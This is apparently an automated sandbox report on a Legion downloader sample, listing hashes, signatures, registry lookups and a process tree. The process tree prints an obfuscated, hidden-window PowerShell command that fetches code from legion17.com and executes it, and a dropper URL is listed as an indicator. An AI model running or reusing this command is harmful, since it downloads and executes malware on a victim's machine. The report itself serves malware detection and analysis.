Analysis
- max time kernel
92s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
07/09/2024, 03:51
Behavioral task
behavioral1
Sample
d103074755792906a0aab038103444e3_JaffaCakes118.exe
Resource
win7-20240708-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
d103074755792906a0aab038103444e3_JaffaCakes118.exe
Resource
win10v2004-20240802-en
9 signatures
150 seconds
General
- Target d103074755792906a0aab038103444e3_JaffaCakes118.exe
- Size 184KB
- Sample240907-eew23atcjl
- SHA256 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30
- MD5 d103074755792906a0aab038103444e3
- SHA1 ffb8d5a1d2d3dda1fa013168017bd833aaa28064
- SHA512 30be12dba187e19d797e6a5b502185ac37848ef80e9431e0cfb98c4b64c104f122fa2101538a0805513b7658bc8585a31ce0a8f00b725f33b8f70645e82e4660
- SSDEEP 3072:oUZF2pKMp8r2+6LqAlkNQu2BaYP138oC2C5L:PZF2jpwARBsXL
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://legion17.com/legion17/welcome
Signatures
- Legion
Legion is a malware downloader written in C++ and stealer written C#.
- Legion downloader 1 IoCs
Detected Legion downloader HTTP request code and PowerShell execution.
resource yara_rule behavioral2/memory/4012-9-0x0000000000C50000-0x0000000000C83000-memory.dmp legion_downloader - Blocklisted process makes network request 1 IoCs
flow pid Process 23 3044 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3044 powershell.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 4 iplogger.org 6 iplogger.org - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d103074755792906a0aab038103444e3_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3044 powershell.exe 3044 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3044 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4012 wrote to memory of 3076 4012 d103074755792906a0aab038103444e3_JaffaCakes118.exe 87 PID 4012 wrote to memory of 3076 4012 d103074755792906a0aab038103444e3_JaffaCakes118.exe 87 PID 4012 wrote to memory of 3076 4012 d103074755792906a0aab038103444e3_JaffaCakes118.exe 87 PID 3076 wrote to memory of 3044 3076 cmd.exe 89 PID 3076 wrote to memory of 3044 3076 cmd.exe 89 PID 3076 wrote to memory of 3044 3076 cmd.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3044
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgolfkz0.gd5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512